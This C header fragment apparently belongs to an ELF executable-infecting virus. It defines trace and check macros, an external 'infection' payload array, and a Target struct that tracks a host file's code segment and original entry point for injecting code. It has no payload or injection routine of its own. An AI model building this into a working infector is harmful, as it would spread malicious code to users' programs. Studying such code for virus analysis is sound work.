#ifdef NDEBUG
  #define TRACE		(void)
#else
  #define TRACE		fprintf
#endif

#define QUOTE_EXP(n)	#n
#define QUOTE_NUM(n)	QUOTE_EXP(n)
#define TRACE_CHECK(l, r, op) \
	TRACE(stderr, __FILE__ ":" QUOTE_NUM(__LINE__) " " \
	QUOTE_EXP(l) op QUOTE_EXP(r) "\n")

#define CHECK_EQ(l, r) \
  if ((l) != (r)) { TRACE_CHECK((l), (r), "!="); return false; }
#define CHECK_LT(l, r) \
  if ((l) >= (r)) { TRACE_CHECK((l), (r), ">="); return false; }

/* align up to multiple of 16, will take at most 15 bytes */
#define ALIGN_UP(n)	(((n) + 15) & ~15)

typedef enum { false, true } bool;

#define SELF	((TEVWH_ELF_EHDR*)TEVWH_ELF_BASE)

extern const unsigned char infection[];

typedef struct
{
  int fd_dst; /* opened write-only */
  int fd_src; /* opened read-only */

  off_t filesize;
  unsigned aligned_filesize;

  /* start of memory-mapped image, b means byte */
  union { void* v; unsigned char* b; TEVWH_ELF_EHDR* ehdr; } p;

  /* offset to first program header (in file) */
  TEVWH_ELF_PHDR* phdr;
  
  /* offset to first byte after code segment (in file) */
  unsigned end_of_cs;
  unsigned aligned_end_of_cs;

  unsigned char* target_entry_code;

  /* start of host code (in memory) */
  unsigned original_entry;
} Target;
